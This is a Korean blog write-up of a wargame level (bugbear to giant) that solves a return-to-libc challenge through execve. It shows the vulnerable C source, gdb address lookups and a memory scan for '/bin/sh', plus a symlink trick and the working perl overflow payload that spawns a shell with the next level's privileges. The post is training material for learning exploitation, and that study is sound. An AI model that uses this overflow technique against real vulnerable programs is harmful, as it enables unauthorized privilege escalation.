LEVEL14 (bugbear -> giant) : RTL2, only execve

갑자기 10번까지 가다가 14번으로 갔는데 포스팅 순서가 꼬였을것으로 예상된다.(추후 수정예정.)
일단은 이번에도 RTL기법을 이용하는데 이전의 문제와는 다르게 execve를 이용해야된다는 것이다. 소스를 보자

 [bugbear@localhost .izayoi]$ cat giant.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc, char *argv[])
{
        char buffer[40];
        FILE *fp;
        char *lib_addr, *execve_offset, *execve_addr;
        char *ret;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // gain address of execve
        fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
        fgets(buffer, 255, fp);
        sscanf(buffer, "(%x)", &lib_addr);
        fclose(fp);

        fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
        fgets(buffer, 255, fp);
        sscanf(buffer, "%x", &execve_offset);
        fclose(fp);

        execve_addr = lib_addr + (int)execve_offset;
        // end

        memcpy(&ret, &(argv[1][44]), 4);
        if(ret != execve_addr)
        {
                printf("You must use execve!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}


길지만 ret address가 execve가 아니면 프로그램을 종료하는 것이다.
execve() 함수의 경우에는 인자값을 세개를 받아오게 되는데
execve(프로그램명("/bin/sh"),인자값(argv),환경변수(env))의 형태를 가지고 있다.

들어가야 될 인자를 생각하면
execve의 주소값,
반환될 주소값,
첫번째 인자(프로그램명),
두번째 인자(*argv[0],argv[1]),세번째 인자(null)
이 될 것이다.

일단은 execve(), exit()[프로그램 정상 종료를 위한 주소] 등의 주소값을 알아내 보자

[bugbear@localhost .izayoi]$ gdb -q giant
(gdb) b main
Breakpoint 1 at 0x8048566
(gdb) r
Starting program: /home/bugbear/.izayoi/giant

Breakpoint 1, 0x8048566 in main ()
(gdb) print execve
$1 = {<text variable, no debug info>} 0x400a9d48 <__execve>
(gdb) print exit
$2 = {void (int)} 0x400391e0 <exit>


system() 함수에서 /bin/sh를 내부적으로 찾았듯이 이번에도 찾아보자

 [bugbear@localhost .izayoi]$ cat c.c
#include<stdio.h>
int main()
{
long addr = 0x400a9d48;

 while(1)
 {
  if( memcmp((const void *)addr,"/bin/sh",8) == 0 )
  {
   printf("found! : 0x%x\n",addr);
   exit(0);
  }
 addr++;
 }
}
[bugbear@localhost .izayoi]$ make c
cc     c.c   -o c
[bugbear@localhost .izayoi]$ ./c
found! : 0x400fbff9


일부로 execve()함수 내에서 찾아보려고 long addr에서 execve()함수의 주소값을 집어넣었을때도 system()함수에서 구한것과 똑같은 결과가 나왔다.

argv같은 경우에는 파일명과 null이 같이 들어가는 **argv 형태가 되어야 하는데 이것은 "/bin/sh"의 주소값을 프로그램명으로 심볼릭 링크를 걸고 스택의 맨위쪽에서 파일 이름 다음에는 null이 들어가는 것을 이용한다.

argv값 찾기

[bugbear@localhost .izayoi]$ gcc giant.c -o $(echo -en "\xf9\xbf\x0f\x40")
[bugbear@localhost .izayoi]$ gdb -q $(echo -en "\xf9\xbf\x0f\x40")
(gdb) b main
Breakpoint 1 at 0x8048566
(gdb) r
Starting program: /home/bugbear/.izayoi/ù¿@

Breakpoint 1, 0x8048566 in main ()
(gdb) x/12s 0xbfffffe0
0xbfffffe0:      ""
0xbfffffe1:      "/home/bugbear/.izayoi/ù¿\017@"
0xbffffffc:      ""
...
(gdb) p/x 0xbfffffe1+strlen("/home/bugbear/.izayoi/")
$1 = 0xbffffff7


/bin/sh의 주소 및 null값을 집어넣을수 있는 주소는 0xbffffff7이다.

마지막으로 환경변수가 들어갈 공간에도 null이 들어가게 되는데
이때는 항상 null이 들어가는(위에서도 이용한)0xbffffffc주소를 이용한다.

추가 위 프로그램에서 컴파일하게 되는데 이때 프로그램 내용이 조금 수정되었었다. 언급을 안해서 추가로 작성해놓는다.

 [bugbear@localhost .izayoi]$ cat giant.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc, char *argv[])
{
        char buffer[40];
        FILE *fp;
        char *lib_addr, *execve_offset, *execve_addr;
        char *ret;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // gain address of execve
        fp = popen("/usr/bin/ldd /home/bugbear/giant | /bin/grep libc | /bin/awk '{print $4}'", "r");
        fgets(buffer, 255, fp);
        sscanf(buffer, "(%x)", &lib_addr);
        fclose(fp);

        fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
        fgets(buffer, 255, fp);
        sscanf(buffer, "%x", &execve_offset);
        fclose(fp);

        execve_addr = lib_addr + (int)execve_offset;
        // end

        memcpy(&ret, &(argv[1][44]), 4);
        if(ret != execve_addr)
        {
                printf("You must use execve!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}


저부분이 수정되었는데 원문은 /home/giant/assassin인데 /home/bugbear/giant 으로 바꿔주었다.
http://devanix.tistory.com/149 이 블로그를 참고했는데 왜 이렇게 됐는지 조금 더 고민해봐야겠다.

이제 원본 파일에 심볼릭 링크를 걸고 해당 명령을 수행해보도록 하겠다.

[bugbear@localhost bugbear]$ ln -sf giant $(echo -en "\xf9\xbf\x0f\x40")
[bugbear@localhost bugbear]$ ./$(echo -en "\xf9\xbf\x0f\x40") "`perl -e 'print "A"x44,"\x48\x9d\x0a\x40","\xe0\x91\x03\x40","\xf9\xbf\x0f\x40","\xf7\xff\xff\xbf","\xfc\xff\xff\xbf"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH

bash$ id;my-pass
uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear)
euid = 514
one step closer


그러하다 여기서 신기했던건 맨날 perl만 썼는데 echo로 명령어를 수행할수 있는게 신기했다.
그리고 리턴되는 값(exit())를 일부로 쉘 exit명령어를 사용할 경우에 정상적으로 종료되게 하려고 넣어둔 것으로 알고 있는데 그냥 아무 값이나 넣어도(ex)aaaa) 그냥 정상적으로 종료되는 것을 확인할 수 있었다..

 [bugbear@localhost bugbear]$ ./$(echo -en "\xf9\xbf\x0f\x40") "`perl -e 'print "A"x44,"\x48\x9d\x0a\x40","aaaa","\xf9\xbf\x0f\x40","\xf7\xff\xff\xbf","\xfc\xff\xff\xbf"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH

bash$


Posted by john@memory :